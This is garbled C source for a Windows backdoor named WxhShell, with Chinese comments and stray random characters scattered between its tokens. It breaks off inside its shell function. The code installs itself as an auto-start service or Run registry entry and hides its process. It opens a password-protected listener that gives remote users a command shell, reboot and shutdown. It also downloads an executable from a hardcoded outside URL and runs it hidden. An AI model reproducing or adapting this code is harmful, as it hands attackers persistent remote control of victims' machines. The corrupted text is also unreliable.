.TM HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dP$8JI{ if(NULL == hInst ) return 0; )'[x)q "{A*(. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;8*XOC;[ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h
`\$sT!Z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nn @^K6 7m:|u*ij2~ if (!NtQueryInformationProcess) return 0; o_Jn_3= v/R[?H) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b0@>xT if(!hProcess) return 0; b4Z`y8= R"U/RS if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &yxNvyA[u Zc'|!pT _ CloseHandle(hProcess); /m`}f]u s\'y-UITi1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p)B33ZzC if(hProcess==NULL) return 0; 6a4 'xq7 R_1)mPQ^P HMODULE hMod; ,VNi_.W0 char procName[255]; DW/1 =3 unsigned long cbNeeded; J~Cc9"( :}y9$p
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ap5}5 ewM |[S90Gw] CloseHandle(hProcess); hv+|s( 4q>7OB:e if(strstr(procName,"services")) return 1; // 以服务启动 (O\U /daB \ Md
3 return 0; // 注册表启动 Deg!<[Nw } ^WE4*.( +|y*}bG // 主模块 F9(._ow[ int StartWxhshell(LPSTR lpCmdLine) GX4QaT% { Z_H?WGO SOCKET wsl; @#RuSc BOOL val=TRUE; Rn`ld@=p[ int port=0; gNShOu struct sockaddr_in door; S4cpQq. 'X7%35Y if(wscfg.ws_autoins) Install(); >i
"qMZ =p<?Hu port=atoi(lpCmdLine); #6Jc}g<?g t,
U)
~wi if(port<=0) port=wscfg.ws_port; *GQDfs`m pzp,t(%j WSADATA data; 1/B]TT if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'E4AV58. Ntb:en!X if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; pb!V|#u" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qgoJ4Z* door.sin_family = AF_INET; hd+]Ok7" door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9\HR60V door.sin_port = htons(port); sI_7U^"[ eGm:)
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]' Y|Nl closesocket(wsl); !p9)CjQ " return 1; Xka<I3UD5 } U@G"`RYl 5?WYsj"
if(listen(wsl,2) == INVALID_SOCKET) { *G9sy_ closesocket(wsl); LL&ud_Y return 1; 7A5p["?Z } U-i.(UyZ Wxhshell(wsl); vT|`%~Be WSACleanup(); JB3 "EFv !8sgq{x(( return 0; HPg3`Ul C{EAmv' } oM!xz1kVL :.kZR; // 以NT服务方式启动 0}{'C5 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7 8Vcu'j&_ { hi ~} DWORD status = 0; o*">KqU`b DWORD specificError = 0xfffffff; Dj i^+;"& ? B@E!/f serviceStatus.dwServiceType = SERVICE_WIN32; 9mlIbEAb serviceStatus.dwCurrentState = SERVICE_START_PENDING; Tc6:UF serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ='Q{R*u serviceStatus.dwWin32ExitCode = 0; *U;'OWE[ serviceStatus.dwServiceSpecificExitCode = 0; 9'?se5\ serviceStatus.dwCheckPoint = 0; aSC9&Nf; serviceStatus.dwWaitHint = 0; )p<WDiX1!e y<pnp?x4 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~vHk&r]| if (hServiceStatusHandle==0) return; "13"`!m xg<Hxn,<M status = GetLastError(); 41G5!=i if (status!=NO_ERROR) 5G(3vRX|1 { .%}?b~
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7tNc=,x} serviceStatus.dwCheckPoint = 0; rq sdE serviceStatus.dwWaitHint = 0; `:eU. serviceStatus.dwWin32ExitCode = status; X&M4MuL serviceStatus.dwServiceSpecificExitCode = specificError; fmfTSN(Q~` SetServiceStatus(hServiceStatusHandle, &serviceStatus); VIC0}LT0R return; K*q[(,9 } u7fK1 ^O S${Zzt" serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Ym(n8 serviceStatus.dwCheckPoint = 0; oRM)%N# serviceStatus.dwWaitHint = 0; ?-MP_9!JK if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *4S-z&,.c } qnM|w~G :`\)
P, // 处理NT服务事件,比如:启动、停止 xe4Oxo VOID WINAPI NTServiceHandler(DWORD fdwControl) DZ$`
4;C[ { n(1')?"mA switch(fdwControl) 08s_v=cF { lx |5?P case SERVICE_CONTROL_STOP: ,E;;wdIt serviceStatus.dwWin32ExitCode = 0; )? =YT serviceStatus.dwCurrentState = SERVICE_STOPPED; ,HB2hHD serviceStatus.dwCheckPoint = 0;
|l0Ea serviceStatus.dwWaitHint = 0; b>\?yL/%+? { zce`\ /: SetServiceStatus(hServiceStatusHandle, &serviceStatus); sa1h%< } {D`'0Z1" return; )w h%| case SERVICE_CONTROL_PAUSE: |&3x#1A serviceStatus.dwCurrentState = SERVICE_PAUSED; P`$!@T0= break; DC+b=IOz case SERVICE_CONTROL_CONTINUE: t23'x0l serviceStatus.dwCurrentState = SERVICE_RUNNING; ^03j8Pc-c break; 2f>PO +4S{ case SERVICE_CONTROL_INTERROGATE: >&,[H:Z break; 4dawg8K`9 }; #3$\Iu SetServiceStatus(hServiceStatusHandle, &serviceStatus); izgp*M, } @{hd{>K* `F t]MR // 标准应用程序主函数 ~]HN9R^& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5| B(\wqG { 5|QzU|gPn R=Zn -q // 获取操作系统版本 7F^#o-@=J OsIsNt=GetOsVer(); "9!d]2.-Vk GetModuleFileName(NULL,ExeFile,MAX_PATH); 2I/xJ+ $e1=xSQp4 // 从命令行安装 Cx<0 H if(strpbrk(lpCmdLine,"iI")) Install(); O`G/=/GZ =,y |00l // 下载执行文件 80b;I|-T, if(wscfg.ws_downexe) { \1"'E@+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6%,C_7j WinExec(wscfg.ws_filenam,SW_HIDE); ~y HU^5D } DdQ;Q5| ^y!;xc$(Qs if(!OsIsNt) { (*p ,T // 如果时win9x,隐藏进程并且设置为注册表启动 ]rehW} HideProc(); sRSz}] StartWxhshell(lpCmdLine); o*WY= } =Prb'8 W else : _e# if(StartFromService()) Byl^?5 // 以服务方式启动 _VE^/;$"l StartServiceCtrlDispatcher(DispatchTable); bmgn cwlz else $+JS&k/'m // 普通方式启动 U>Ld~cw StartWxhshell(lpCmdLine); Wj|alH9< gr-9l0u return 0; FBx_c;)9Z } o?L'Pg YB<*"HxM)} ; Uc0o!1 5 @U<I =========================================== 3E3U /K sUZX
} [^CV>RuO !oPq?lW9 N`iwC! PZxAH9 S? " <+MyZM(z> -fhN"B) #include <stdio.h> L`f^y;Y. #include <string.h> U,#yqER'r #include <windows.h> > fnh+M #include <winsock2.h> x:-.+C% #include <winsvc.h> Z4<L$i;/jN #include <urlmon.h> A?_ =K L86n}+
P\ #pragma comment (lib, "Ws2_32.lib") E )Gw0]G #pragma comment (lib, "urlmon.lib") O[tvR:Nh Q!-
0xlx #define MAX_USER 100 // 最大客户端连接数 P-F)%T[ #define BUF_SOCK 200 // sock buffer W} WI; cI #define KEY_BUFF 255 // 输入 buffer Lbe\@S .2d9?p3Y #define REBOOT 0 // 重启 We0.3aG #define SHUTDOWN 1 // 关机 r/pH_@ V7#v6!7A@ #define DEF_PORT 5000 // 监听端口 4BnSqw a_ `E+Jnu,jC #define REG_LEN 16 // 注册表键长度 QaUm1i# #define SVC_LEN 80 // NT服务名长度 ?
WJ> p ^`un'5Vk // 从dll定义API S$KFf=0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P96pm6H_; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U*90m~) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J+rCxn?;g typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R1Sy9x . HhO".GA // wxhshell配置信息 oFOnjK"|F struct WSCFG { %ZHP2j
%~ int ws_port; // 监听端口 o FjIA! char ws_passstr[REG_LEN]; // 口令 n>@oBG)! int ws_autoins; // 安装标记, 1=yes 0=no >WY#4 char ws_regname[REG_LEN]; // 注册表键名 DN4$Jva char ws_svcname[REG_LEN]; // 服务名 r0p w_j char ws_svcdisp[SVC_LEN]; // 服务显示名 YK|bXSA[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 [MuEoWrq(} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ),%6V5a+E int ws_downexe; // 下载执行标记, 1=yes 0=no wFG3KzEq ~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {U&.D
[{& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 74!oe u.> 8r3A~ }; 3?Y 2L Ol4+_n8xj // default Wxhshell configuration >S$Z struct WSCFG wscfg={DEF_PORT, ss;R8:5 "xuhuanlingzhe", xsWur(> ] 1, 5 ae2<Y= "Wxhshell", F~A 'X "Wxhshell", ,{\Bze1fn "WxhShell Service", t_mIOm)S% "Wrsky Windows CmdShell Service", y:v, j42% "Please Input Your Password: ", ySI~{YVM 1, 9 \^|6k, "http://www.wrsky.com/wxhshell.exe", Mq';S^ "Wxhshell.exe" cuOvN"nuNj }; %Uz(Vd#K bn
|zl!Pq // 消息定义模块 oK 6(HF'& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7GDHz.IX char *msg_ws_prompt="\n\r? for help\n\r#>"; kdGT{2u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^eW}XRI char *msg_ws_ext="\n\rExit."; J\e+}{ char *msg_ws_end="\n\rQuit."; JN7k 2]{ char *msg_ws_boot="\n\rReboot..."; !^Q.VYY char *msg_ws_poff="\n\rShutdown..."; @&[T _l char *msg_ws_down="\n\rSave to "; @A)R_p +V&{*f) char *msg_ws_err="\n\rErr!"; l<M'=-Y char *msg_ws_ok="\n\rOK!"; bH"hX {BKl` 1z char ExeFile[MAX_PATH]; j0@[Br %7 int nUser = 0; IIy~[4dW HANDLE handles[MAX_USER]; ~'R(2[L!; int OsIsNt; $s<Ne{? McPNB`.H SERVICE_STATUS serviceStatus; :;t
#\%L/ SERVICE_STATUS_HANDLE hServiceStatusHandle; uc|45Zxt xe/( // 函数声明 *L!!]Q2c int Install(void); M DF%\Sx int Uninstall(void); |!y A@y? int DownloadFile(char *sURL, SOCKET wsh); #r3l[bKK int Boot(int flag); HF3f)}l$ void HideProc(void); W_0>y9? int GetOsVer(void); 9c JH" int Wxhshell(SOCKET wsl); ?
w^- void TalkWithClient(void *cs);
&y<ZE int CmdShell(SOCKET sock); jsNF#yE> int StartFromService(void); y-CX}B#j int StartWxhshell(LPSTR lpCmdLine); "?| > btr o/ui)U_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y#g4$"G9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ([xo9FP ; u ElAnrm // 数据结构和表定义 '=l[;Q^Q SERVICE_TABLE_ENTRY DispatchTable[] = m*mm\wN5 { |ae97 5 {wscfg.ws_svcname, NTServiceMain}, EM\'GW {NULL, NULL} NKQOUw:qn }; IgC}& ^{8Gt@ // 自我安装 W\18{mbuy int Install(void) (ND4Q[*6 { j;+?HbL char svExeFile[MAX_PATH]; Y"KE7>Jf HKEY key; [~&XL0 strcpy(svExeFile,ExeFile); fHZTXvxoL n`4K4y%Dy} // 如果是win9x系统,修改注册表设为自启动 Znetzm=0 if(!OsIsNt) { cW+t#>'r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,K^4fL$C;3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Oh4AsOj@ RegCloseKey(key); `c'W-O/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bO<CR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X6^},C'E.: RegCloseKey(key); `%j~|i)4 return 0; !~h}8'a? } /<rt1&0 } h&kZjQ& } o-o'z'9 else { BATG FS& E#s)52z=B // 如果是NT以上系统,安装为系统服务 d:F @a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hUm'8)OJ if (schSCManager!=0) d[;.r { w4fW<ISg SC_HANDLE schService = CreateService +kFxi2L6 ( ,6r{VLN schSCManager, B*E2.\~ wscfg.ws_svcname, cCR+D.F wscfg.ws_svcdisp, m XXt'_" SERVICE_ALL_ACCESS, n#=o?!_4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mq%<6/YU SERVICE_AUTO_START, /x1MPP>fu SERVICE_ERROR_NORMAL, +d|mR9^([ svExeFile, asC_$tsMe NULL, +CI1V>6^ NULL, F-*2LMe NULL, ?ByM[E$ NULL, *s;|T?~i NULL O2"gj"D ); 2./3 \n2 if (schService!=0) +Y+Y6Ac[} { ){Ob,LEU& CloseServiceHandle(schService); @9&P~mo/ CloseServiceHandle(schSCManager); Y \:0Ev strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HEGKX] strcat(svExeFile,wscfg.ws_svcname); P bQk<"J1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PdVfO8- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GHmv}
Z RegCloseKey(key); v
36%Pj` return 0; |^9BA-nA } yZ!T8"mz{ } TFuR@KaBR CloseServiceHandle(schSCManager); b?eu jxqg } #:d
=)Qj0 } r$wxk 4%Rz ~gu3g^<0v return 1; TB;o~>9U } !`7B^RZ x\Y $+A,P // 自我卸载 5xOv Y int Uninstall(void) VAXT{s&4> { #h@J=Ki HKEY key; V"!G2& Y{*u&^0{ if(!OsIsNt) { r `eU~7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c_"
~n| RegDeleteValue(key,wscfg.ws_regname); kD}Y|*]5-5 RegCloseKey(key); #A8@CA^d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P/`I.p ; RegDeleteValue(key,wscfg.ws_regname); 4GB7A]^E RegCloseKey(key); 7L^%x3-|& return 0; Xo*DvD } TYA~#3G) } 03j]d&P%d
} ~l2aNVv; else { LF0sH)e] vO;I(^Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CwJDmz\tk if (schSCManager!=0) Ks\ NE=;5 { d9n?v)<v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); b<]n%Q'n if (schService!=0) *~/OOH$" { hTbI -u7BF if(DeleteService(schService)!=0) { !'Q -yoHKD CloseServiceHandle(schService); |A8/FU2{ CloseServiceHandle(schSCManager); WF\)fc#;_o return 0; ZR\VCVH\^ } $fgf
Y8 CloseServiceHandle(schService); #);[mW{F } &[hLzlrg CloseServiceHandle(schSCManager); vp(;W,ba:| } =LTmr1? } *kIc9} =f(cH152T return 1; V
_c@ b% }
U8(Nk\"X\ jg&E94}+ // 从指定url下载文件 ",)Qc!^P$
int DownloadFile(char *sURL, SOCKET wsh) aTzjm`F0 { !cGDy/| HRESULT hr; "HYQqNj?Z char seps[]= "/"; 2On_'^O char *token; fQP {|+4 char *file; }(<%`G6N char myURL[MAX_PATH]; ltFq/M char myFILE[MAX_PATH]; (8ht*b.5K `EtS!zD~b strcpy(myURL,sURL); V_Wwrhua token=strtok(myURL,seps); FE o269Ur while(token!=NULL) sN("+ sZ.n { B(F,h+ajy file=token; -WQ^gcO=7 token=strtok(NULL,seps); LOTP*Syjf } <40rYr$/J
+D1 d=4 GetCurrentDirectory(MAX_PATH,myFILE); 7n90f2"m strcat(myFILE, "\\"); M3~K,$@ strcat(myFILE, file); XO <y+ send(wsh,myFILE,strlen(myFILE),0); -rKO
)} send(wsh,"...",3,0); ^V|Oxp'7_ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x2QIPUlf if(hr==S_OK) &
/4k7X}y return 0; pMs
AyCAk else 2r%lA\,h$ return 1; W(hMft% vLxQ *50v$ } r",]Voibd ,|88r=} // 系统电源模块 Z`&4SH=j int Boot(int flag) X w .p { -8N|xQ378 HANDLE hToken; hd 0'u TOKEN_PRIVILEGES tkp; NvN~@TL28 Jdy=_88MD
if(OsIsNt) { +w8R!jdA OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rDdzxrKg{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E\u#t$ tkp.PrivilegeCount = 1; .`CZUKG tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R<x'l=,D( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); e:AHVepj{ if(flag==REBOOT) { _uc\ D
R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CDi<<, return 0; *UW=Mdt } S60IPya else { ?6!]Nl1gr if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dSCzx
.c return 0; }oJAB1'k } VB<Jf'NU } t!K*pM else { 9dzdrT if(flag==REBOOT) { OTZ_c1"K if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1T)Zh+?)} return 0; `m.eM } )+H[kiN else { y&_m4Zw" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B??J@+Nf return 0;
_hG;.=sr } !Oi~:Pp } +PK6-c\r :SV>+EDY return 1; RmI1` } _owjTo} ]B=C|usJ // win9x进程隐藏模块 V3mAvmx void HideProc(void) PIXL6 { {RB-lfrWs \Ey~3&x9f HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pG"5!42M! if ( hKernel != NULL ) ] xd^% q* { u
=gt<1U pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1b9hE9a{j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6bBdIqGb} FreeLibrary(hKernel); E0oU$IB } V\K<$?oUb T#Z%y!6 return; LEEC W_: } /+e~E;3bO S-+M;@'Rl // 获取操作系统版本 gK|R =J int GetOsVer(void) O--7<Q\ { IaFr& OSVERSIONINFO winfo; &L^CCi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h8jD}9^ GetVersionEx(&winfo); o/o:2p. if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S=3^Q;V/1 return 1; zX{ .^| else EC<b3 return 0; D=RU`?L } 3?&h^UX BGzI // 客户端句柄模块 *5,c Rz int Wxhshell(SOCKET wsl) hnWo|! ,O$ { sCl$f7" SOCKET wsh; =l<iI*J.
M struct sockaddr_in client; _~aG|mAj DWORD myID; S'B6jJK2x xv7"WFb while(nUser<MAX_USER) ;3C:%!CdA] { ;7Oi! BC int nSize=sizeof(client); X5g[ :QKP7 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p4VSma_( if(wsh==INVALID_SOCKET) return 1; ~YCuO0t >6Lm9&} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mp\<cE if(handles[nUser]==0) 6aOp[-Le closesocket(wsh); z1,tJH0 else (bn
Zy0 nUser++; + E"[ } \.e4.[%[2- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #t!}K_ 4 c'4*`I return 0; *@V*~^V"J[ } VSOz.g> vuz4qCQ // 关闭 socket 1@XgTL4 void CloseIt(SOCKET wsh) 5+X_4lEJK( { c#xP91.m closesocket(wsh); D&hqV)d4R nUser--; 6@4n'w{" ExitThread(0); `#IcxweA } |dadH7 /-0'
Qa+* // 客户端请求句柄 I_ "Z:v{ void TalkWithClient(void *cs) UBO^EVJ { P"7ow- DlE_W+F SOCKET wsh=(SOCKET)cs; \)m"3yY char pwd[SVC_LEN]; GIHpSy`z char cmd[KEY_BUFF]; IPA*-I57 char chr[1]; k5+]SG`]] int i,j; ;BH>3VK "r.2]R3 while (nUser < MAX_USER) { o4=Yu7L Gk~l,wV> if(wscfg.ws_passstr) { cQpnEO&SL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kReG: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "PpjoM
~ //ZeroMemory(pwd,KEY_BUFF); \Mi#{0f+q i=0; #I`ms$j% while(i<SVC_LEN) { iRmQ5ezk CBD_a#K{ // 设置超时 kRIB<@{ fd_set FdRead; <xS=# struct timeval TimeOut; lWy=)^)4
FD_ZERO(&FdRead); s ?l%L! FD_SET(wsh,&FdRead); zREJ#r TimeOut.tv_sec=8; B!aK TimeOut.tv_usec=0;
YRB%:D@u int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fm j= if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g{pQ4jKF 6*1$8G`$8, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 o[/F3` pwd=chr[0]; ,&a`d}g&G if(chr[0]==0xd || chr[0]==0xa) { XKLF8~y8A pwd=0; DOm-)zl{|x break; p4/$EPt)lY } Ae|P"^kZ i++; ,J9}.}Hd } 'UDBV r25Z`X Z // 如果是非法用户,关闭 socket E;-qP)yU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xDrV5bg } 4u:0n>nJ1 #7z|mVzH send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q/6UK = send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &y:CW>T$/X <Dw]yGK@ while(1) { 6`puTL? + Oobb-v ZeroMemory(cmd,KEY_BUFF); QXk"?yT`E u2qV 6/ // 自动支持客户端 telnet标准 MguL$W&l j=0; aMCO"66b while(j<KEY_BUFF) { j|'R$| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ge}$rLu]0 cmd[j]=chr[0]; Ob&W_D^=N if(chr[0]==0xa || chr[0]==0xd) { y' tRANxQ cmd[j]=0; LC'F<MpM break; \K`jCsT } q6[}ydV j++; P79R~m` } V;[p438o Lk(S2$)* // 下载文件 $U'3MEEw if(strstr(cmd,"http://")) { .S vyj send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?f2G?Y if(DownloadFile(cmd,wsh)) _ 5\AS+[x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^LO]Z else 3YTIH2z5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5
;vC(Go } 1KJZWZy else { #Go(tS~o W]LQ &f switch(cmd[0]) { <3#<I)# :,C%01bH|l // 帮助 utd:&q|} case '?': { R@ QQNYU.D send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :_c*m@=z( break; 0!IPcZjY7 } |a(Q4 e/, // 安装 ]GS~i+ =M case 'i': { RSH/l;ii if(Install()) "#XtDpGk send(wsh,msg_ws_err,strlen(msg_ws_err),0); y"R("j $ else ?cBO6^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q eK{MF break; T 'i~_R6 } 2
zl~>3S // 卸载 1#!@[" case 'r': { -h9#G{2W[ if(Uninstall()) :1BM=_WwI send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zi3T~:0p: else Sf5]=F-w send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hd*Fc=>"Y break; 5byeWH0n3 } }@*I+\W/ // 显示 wxhshell 所在路径 foyB{6q8 case 'p': { $F1_^A[ char svExeFile[MAX_PATH]; 3B"7VBK{ strcpy(svExeFile,"\n\r"); As}eUm)B5c strcat(svExeFile,ExeFile); u[mY!(>nQ send(wsh,svExeFile,strlen(svExeFile),0); 4@~a<P# break; zW)gC9_|m- } E.#6;HHzN // 重启 Xv*}1PZH case 'b': { )[ w&C_>] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \Jf9npz3 if(Boot(REBOOT)) fn?VNZ`J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Okoo(dfM else { |<2
*v-a closesocket(wsh); o#dcD?^ ExitThread(0); ~1d!hq?/q } GMTor break; AI R{s7N } _y-B";Vmm
// 关机 uA^hCh-js case 'd': { wEK%T P4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); - XLo0 if(Boot(SHUTDOWN)) o]p#%B?mZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \L
%q[ else { O$(c.(_$ closesocket(wsh); #'c%
ExitThread(0); v<+4BjV!J} } QD}1?)} break; U%n,XOJ } p70,\&@3 // 获取shell Y^X:vI case 's': { Np)ho8zU CmdShell(wsh); RCCv>o closesocket(wsh); =1Ri]b ExitThread(0); ,P!D-MN$V break; bm^X!i5 } 3~:0?Zuq // 退出 t,1in4sN case 'x': { "kU>~~y, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~r PYJ CloseIt(wsh); lJlZHO break; \{:%v#ZZ } Y}K!`~n1S // 离开 }!=gP.Zu^ case 'q': { {Wa~}1`Kl send(wsh,msg_ws_end,strlen(msg_ws_end),0); psu OJ- closesocket(wsh); d<_NB]V&F WSACleanup(); s`r-v/3l exit(1); Ia'x]#~ break; O%prD}x } CQ$::; } ;Na^]32 } %`eJ66T qj`,qm
P // 提示信息 @+$cZ3, if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z'T=]-
D } P3i^S_ } "*+\KPCU 8,_ -0_^$ return; y&y/cML? } f.J9) lfb TZ:34\u // shell模块句柄 +8^5C,V int CmdShell(SOCKET sock) 5St`@ { i,([YsRuou STARTUPINFO si; )`mbf|,&t{ ZeroMemory(&si,sizeof(si)); {:,_A si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; & & |